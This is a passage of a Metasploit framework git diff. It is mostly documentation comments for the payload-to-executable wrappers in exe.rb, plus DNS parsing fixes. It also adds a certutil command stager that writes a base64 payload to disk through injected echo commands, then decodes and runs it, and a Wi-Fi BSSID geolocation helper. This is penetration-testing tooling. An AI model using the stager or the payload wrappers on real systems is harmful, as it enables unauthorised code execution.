self.framework.modules.refresh_cache_from_module_files + end + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") end end @@ -571,6 +566,8 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false + elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) + return false elsif (active_module) active_module.datastore.clear_non_user_defined elsif (framework) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7d6ea6e274..5df5ba5098 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -21,14 +21,16 @@ require 'digest/sha1' require 'msf/core/exe/segment_injector' require 'msf/core/exe/segment_appender' - ## + # Generates a default template # - # Helper functions common to multiple generators - # - ## - + # @param opts [Hash] The options hash + # @option opts [String] :template, the template type for the executable + # @option opts [String] :template_path, the path for the template + # @option opts [Bool] :fallback, If there are no options set, default options will be used + # @param exe [String] Template type. If undefined, will use the default. + # @param path [String] Where you would like the template to be saved. def self.set_template_default(opts, exe = nil, path = nil) - # If no path specified, use the default one. + # If no path specified, use the default one path ||= File.join(Msf::Config.data_directory, "templates") # If there's no default name, we must blow it up. @@ -60,6 +62,10 @@ require 'msf/core/exe/segment_appender' end end + # self.read_replace_script_template + # + # @param filename [String] Name of the file + # @param hash_sub [Hash] def self.read_replace_script_template(filename, hash_sub) template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) @@ -68,12 +74,15 @@ require 'msf/core/exe/segment_appender' template % hash_sub end - ## - # # Executable generators # - ## - + # @param arch [Array] The architecture of the system (i.e :x86, :x64) + # @param plat [String] The platform (i.e Linux, Windows, OSX) + # @param code [String] + # @param opts [Hash] The options hash + # @param framework [Msf::Framework] The framework of you want to use + # @return [String] + # @return [NilClass] def self.to_executable(framework, arch, plat, code = '', opts = {}) if arch.index(ARCH_X86) @@ -154,9 +163,10 @@ require 'msf/core/exe/segment_appender' end # Clears the DYNAMIC_BASE flag for a Windows executable - # @param exe [String] The raw executable to be modified by the method - # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file - # @return [String] the modified executable + # + # @param exe [String] The raw executable to be modified by the method + # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file + # @return [String] the modified executable def self.clear_dynamic_base(exe, pe) c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse c_bits[6] = 0 # DYNAMIC_BASE @@ -169,6 +179,16 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_win32pe + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option opts [String] :sub_method + # @option opts [String] :inject, Code to inject into the exe + # @option opts [String] :template + # @option opts [Symbol] :arch, Set to :x86 by default + # @return [String] def self.to_win32pe(framework, code, opts = {}) # For backward compatability, this is roughly equivalent to 'exe-small' fmt @@ -313,6 +333,12 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_winpe_only + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @param arch [String] Default is "x86" def self.to_winpe_only(framework, code, opts = {}, arch="x86") arch = ARCH_X64 if arch == ARCH_X86_64 @@ -378,6 +404,11 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_win32pe_old + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] def self.to_win32pe_old(framework, code, opts = {}) payload = code.dup @@ -431,9 +462,8 @@ require 'msf/core/exe/segment_appender' # Splits a string into a number of assembly push operations # - # @param string [String] string to be used - # - # @return [String] null terminated string as assembly push ops + # @param string [String] String to be used + # @return [String] null terminated string as assembly push ops def self.string_to_pushes(string) str = string.dup # Align string to 4 bytes @@ -455,6 +485,14 @@ require 'msf/core/exe/segment_appender' pushes end + # self.exe_sub_method + # + # @param code [String] + # @param opts [Hash] + # @option opts [Symbol] :exe_type + # @option opts [String] :service_exe + # @option opts [Boolean] :sub_method + # @return [String] def self.exe_sub_method(code,opts ={}) pe = self.get_file_contents(opts[:template]) @@ -504,6 +542,12 @@ require 'msf/core/exe/segment_appender' pe end + # self.to_win32pe_exe_sub + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @return [String] def self.to_win32pe_exe_sub(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") @@ -511,6 +555,12 @@ require 'msf/core/exe/segment_appender' exe_sub_method(code,opts) end + # self.to_win64pe + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @return [String] def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") @@ -537,12 +587,12 @@ require 'msf/core/exe/segment_appender' # Embeds shellcode within a Windows PE file implementing the Windows # service control methods. # - # @param framework [Object] - # @param code [String] shellcode to be embedded - # @option opts [Boolean] :sub_method use substitution technique with a - # service template PE - # @option opts [String] :servicename name of the service, not used in - # substituion technique + # @param framework [Object] + # @param code [String] shellcode to be embedded + # @option opts [Boolean] :sub_method use substitution technique with a + # service template PE + # @option opts [String] :servicename name of the service, not used in + # substituion technique # # @return [String] Windows Service PE file def self.to_win32pe_service(framework, code, opts = {}) @@ -616,6 +666,16 @@ require 'msf/core/exe/segment_appender' end end + # self.to_win64pe_service + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :service_exe + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win64pe_service(framework, code, opts = {}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") @@ -623,6 +683,15 @@ require 'msf/core/exe/segment_appender' exe_sub_method(code,opts) end + # self.to_win32pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win32pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") @@ -635,6 +704,15 @@ require 'msf/core/exe/segment_appender' end end + # self.to_win64pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win64pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") @@ -647,10 +725,14 @@ require 'msf/core/exe/segment_appender' end end + # Wraps an executable inside a Windows .msi file for auto execution when run # - # Wraps an executable inside a Windows - # .msi file for auto execution when run - # + # @param framework [Msf::Framework] The framework of you want to use + # @param exe [String] + # @param opts [Hash] + # @option opts [String] :msi_template_path + # @option opts [String] :msi_template + # @return [String] def self.to_exe_msi(framework, exe, opts = {}) if opts[:uac] opts[:msi_template] ||= "template_windows.msi" @@ -660,6 +742,13 @@ require 'msf/core/exe/segment_appender' replace_msi_buffer(exe, opts) end + #self.replace_msi_buffer + # + # @param pe [String] + # @param opts [String] + # @option [String] :msi_template + # @option [String] :msi_template_path + # @return [String] def self.replace_msi_buffer(pe, opts) opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates") @@ -708,6 +797,13 @@ require 'msf/core/exe/segment_appender' msi end + # self.to_osx_arm_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_arm_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -719,6 +815,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_ppc_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_ppc_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -730,6 +833,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_x86_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_x86_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -741,6 +851,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_x64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_x64_macho(framework, code, opts = {}) set_template_default(opts, "template_x64_darwin.bin") @@ -751,12 +868,13 @@ require 'msf/core/exe/segment_appender' macho end - # @param [Hash] opts the options hash - # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) - # @option opts [String] :app_name (random) the name of the OSX app - # @option opts [String] :hidden (true) hide the app when it is running - # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file - # @return [String] zip archive containing an OSX .app directory + # self.to_osx_app + # @param opts [Hash] The options hash + # @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [Hash] :app_name (random) the name of the OSX app + # @option opts [Hash] :hidden (true) hide the app when it is running + # @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX .app directory def self.to_osx_app(exe, opts = {}) exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } @@ -811,7 +929,13 @@ require 'msf/core/exe/segment_appender' # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. - # + # @param framework [Msf::Framework] The framework of you want to use + # @param opts [Hash] + # @option [String] :template + # @param template [String] + # @param code [String] + # @param big_endian [Boolean] Set to "false" by default + # @return [String] def self.to_exe_elf(framework, opts, template, code, big_endian=false) # Allow the user to specify their own template @@ -856,6 +980,12 @@ require 'msf/core/exe/segment_appender' end # Create a 32-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x86_elf(framework, code, opts = {}) default = true unless opts[:template] @@ -894,42 +1024,96 @@ require 'msf/core/exe/segment_appender' end # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_bsd_x86_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x86_bsd.bin", code) end # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_bsd_x64_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_bsd.bin", code) end # Create a 32-bit Solaris ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_solaris_x86_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x86_solaris.bin", code) end # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x64_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_linux.bin", code) end # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x64_elf_dll(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) end + # self.to_linux_mipsle_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_armle_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_armle_linux.bin", code) end + # self.to_linux_mipsle_elf + # Little Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_mipsle_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) end + # self.to_linux_mipsbe_elf + # Big Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_mipsbe_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) end + # self.to_exe_vba + # + # @param exes [String] def self.to_exe_vba(exes='') exe = exes.unpack('C*') hash_sub = {} @@ -976,6 +1160,11 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_exe.vba.template", hash_sub) end + # self.to_vba + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] Unused def self.to_vba(framework,code,opts = {}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -1003,6 +1192,12 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_mem.vba.template", hash_sub) end + # self.to_powershell_vba + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # def self.to_powershell_vba(framework, arch, code) template_path = File.join(Msf::Config.data_directory, "templates", @@ -1030,6 +1225,13 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_powershell.vba.template", hash_sub) end + # self.to_exe_vba + # + # @param exes [String] + # @param opts [Hash] + # @option opts [String] :delay + # @option opts [String] :persists + # @option opts [String] :exe_filename def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] || false @@ -1062,6 +1264,10 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_exe.vbs.template", hash_sub) end + # self.to_exe_asp + # + # @param exes [String] + # @param opts [Hash] Unused def self.to_exe_asp(exes = '', opts = {}) hash_sub = {} hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small @@ -1073,12 +1279,14 @@ require 'msf/core/exe/segment_appender' hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - read_replace_script_template("to_exe.asp.template", hash_sub) end + # self.to_exe_aspx + # + # @param exes [String] + # @option opts [Hash] def self.to_exe_aspx(exes = '', opts = {}) hash_sub = {} hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1088,9 +1296,7 @@ require 'msf/core/exe/segment_appender' hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) - read_replace_script_template("to_exe.aspx.template", hash_sub) end @@ -1272,7 +1478,6 @@ require 'msf/core/exe/segment_appender' # @option opts (see to_war) # @return (see to_war) def self.to_jsp_war(exe, opts = {}) - # begin .jsp hash_sub = {} hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1313,6 +1518,16 @@ require 'msf/core/exe/segment_appender' # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 # - default max size is 0x8000 (32768) + # @param base [Integer] Default location set to base 0x12340000 + # @param data [String] + # @param opts [Hash] + # @option [String] :template + # @option [String] :base_offset + # @option [String] :timestamp_offset + # @option [String] :text_offset + # @option [String] :pack + # @option [String] :uuid_offset + # @return [String] def self.to_dotnetmem(base=0x12340000, data="", opts = {}) # Allow the user to specify their own DLL template @@ -1345,7 +1560,13 @@ require 'msf/core/exe/segment_appender' pe end - + # self.encode_stub + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # @param platform [String] + # @param badchars [String] def self.encode_stub(framework, arch, code, platform = nil, badchars = '') return code unless framework.encoders framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| @@ -1744,7 +1965,7 @@ require 'msf/core/exe/segment_appender' ; pop eax ; Skip pop eax ; Skip popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ @@ -1987,6 +2208,9 @@ require 'msf/core/exe/segment_appender' end end + # FMT Formats + # self.to_executable_fmt_formats + # @return [Array] Returns an array of strings def self.to_executable_fmt_formats [ "asp", @@ -2019,7 +2243,7 @@ require 'msf/core/exe/segment_appender' # # EICAR Canary - # + # @return [Boolean] Should return true def self.is_eicar_corrupted? path = ::File.expand_path(::File.join( ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com") @@ -2039,12 +2263,23 @@ require 'msf/core/exe/segment_appender' ret end + # self.get_file_contents + # + # @param perms [String] + # @param file [String] + # @return [String] def self.get_file_contents(file, perms = "rb") contents = '' File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)} contents end + # self.find_payload_tag + # + # @param mo [String] + # @param err_msg [String] + # @raise [RuntimeError] if the "PAYLOAD:" is not found + # @return [Fixnum] def self.find_payload_tag(mo, err_msg) bo = mo.index('PAYLOAD:') unless bo diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index f349be43ca..0063b51ea1 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,6 +14,27 @@ module Util class PayloadCachedSize + OPTS = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # Insert a new CachedSize value into the text of a payload module # # @param data [String] The source code of a payload module @@ -60,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.new.size + return mod.generate_simple(OPTS).size end # Determines whether a payload generates a static sized output @@ -69,8 +90,9 @@ class PayloadCachedSize # @param generation_count [Fixnum] The number of iterations to use to # verify that the size is static. # @return [Fixnum] - def self.is_dynamic?(mod,generation_count=5) - [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + def self.is_dynamic?(mod, generation_count=5) + [*(1..generation_count)].map{|x| + mod.generate_simple(OPTS).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -78,9 +100,9 @@ class PayloadCachedSize # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? + return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.new.size + mod.cached_size == mod.generate_simple(OPTS).size end end diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index b593441f2d..719742de67 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -839,7 +839,7 @@ module Net # :nodoc: if name.include? "." @logger.debug "Search(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(name,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end # If the name doesn't end in a dot then apply the search list. @@ -848,7 +848,7 @@ module Net # :nodoc: newname = name + "." + domain @logger.debug "Search(#{newname},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(newname,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end end diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index b5921ba09b..2ec1aaf1dd 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -40,7 +40,7 @@ module Net # :nodoc: when Fixnum return Classes.invert.has_key?(cls) else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -55,7 +55,7 @@ module Net # :nodoc: raise ClassArgumentError, "Unknown class number #{cls}" end else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -81,7 +81,7 @@ module Net # :nodoc: @str = Classes.invert[@@default] @num = @@default else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -89,15 +89,15 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(cls) case cls - when /^CLASS\\d+/ - # TODO!!! + when /^CLASS(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of class if Classes.has_key? cls @str = cls @num = Classes[cls] else - raise ClassesArgumentError, "Unknown cls #{cls}" + raise ClassArgumentError, "Unknown class #{cls}" end end end @@ -105,11 +105,13 @@ module Net # :nodoc: # Contructor for numeric data class # *PRIVATE* method def new_from_num(cls) + raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF if Classes.invert.has_key? cls @num = cls @str = Classes.invert[cls] else - raise ClassesArgumentError, "Unknown cls number #{cls}" + @num = cls + @str = "CLASS#{cls}" end end diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index 9b75ac2aab..e4507d23c2 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -167,8 +167,8 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(type) case type - when /^TYPE\\d+/ - # TODO!!! + when /^TYPE(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of type if Types.has_key? type @@ -183,11 +183,13 @@ module Net # :nodoc: # Contructor for numeric data type # *PRIVATE* method def new_from_num(type) + raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF if Types.invert.has_key? type @num = type @str = Types.invert[type] else - raise TypeArgumentError, "Unknown type number #{type}" + @num = type + @str = "TYPE#{type}" end end diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index cc6656715b..46d61dae15 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/') app_data = ENV['APPDATA'] paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - paths.each do |p| - if File.exists?(p) - args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + paths.each do |path| + if File.exists?(path) + args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") found_browser = true break @@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") found_browser = true + break end end end diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 3db60c1f37..e57d563796 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager/base' require 'rex/exploitation/cmdstager/vbs' +require 'rex/exploitation/cmdstager/certutil' require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb new file mode 100644 index 0000000000..6bfc5b569a --- /dev/null +++ b/lib/rex/exploitation/cmdstager/certutil.rb @@ -0,0 +1,115 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +### +# +# This class provides the ability to create a sequence of commands from an executable. +# When this sequence is ran via command injection or a shell, the resulting exe will +# be written to disk and executed. +# +# This particular version uses Windows certutil to base64 decode a file, +# created via echo >>, and decode it to the final binary. +# +# +# Written by xistence +# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 +# +### + +class CmdStagerCertutil < CmdStagerBase + + def initialize(exe) + super + + @var_encoded = Rex::Text.rand_text_alpha(5) + @var_decoded = Rex::Text.rand_text_alpha(5) + @decoder = nil # filled in later + end + + + # Override just to set the extra byte count + # @param opts [Array] The options to generate the command line + # @return [Array] The complete command line + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo " + @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # Simple base64 encoder for the executable + # @param opts [Array] The options to generate the command line + # @return [String] Base64 encoded executable + def encode_payload(opts) + Rex::Text.encode_base64(@exe) + end + + + # Combine the parts of the encoded file with the stuff that goes + # before / after it. + # @param parts [Array] Splitted commands + # @param opts [Array] The options to generate the command line + # @return [Array] The command line + def parts_to_commands(parts, opts) + + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + + # Generate the commands that will decode the file we just created + # @param opts [Array] The options to generate the command line + # @return [Array] The certutil Base64 decoder part of the command line + def generate_cmds_decoder(opts) + + cmds = [] + cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" + return cmds + end + + + # We override compress commands just to stick in a few extra commands + # last second.. + # @param cmds [Array] Complete command line + # @param opts [Array] Extra options for command line generation + # @return [Array] The complete command line including cleanup + def compress_commands(cmds, opts) + # Make it all happen + cmds << "#{@tempdir}#{@var_decoded}.exe" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "del #{@tempdir}#{@var_encoded}.b64" + # NOTE: We won't be able to delete the exe while it's in use. + end + + super + end + + # Windows uses & to concat strings + # + # @return [String] Concat operator + def cmd_concat_operator + " & " + end + +end +end +end diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb index 61ad5de9b4..702790b9e3 100644 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -53,7 +53,7 @@ module Rex def encode unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc' end encoded = '' encoded << [interfaces.length].pack('N') diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index cbb89471a4..c58ef56d97 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,3 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' +require 'rex/logging/sinks/timestamp_flatfile' diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb new file mode 100644 index 0000000000..bb8fe132b8 --- /dev/null +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- +module Rex +module Logging +module Sinks + +### +# +# This class implements the LogSink interface and backs it against a +# file on disk with a Timestamp. +# +### +class TimestampFlatfile < 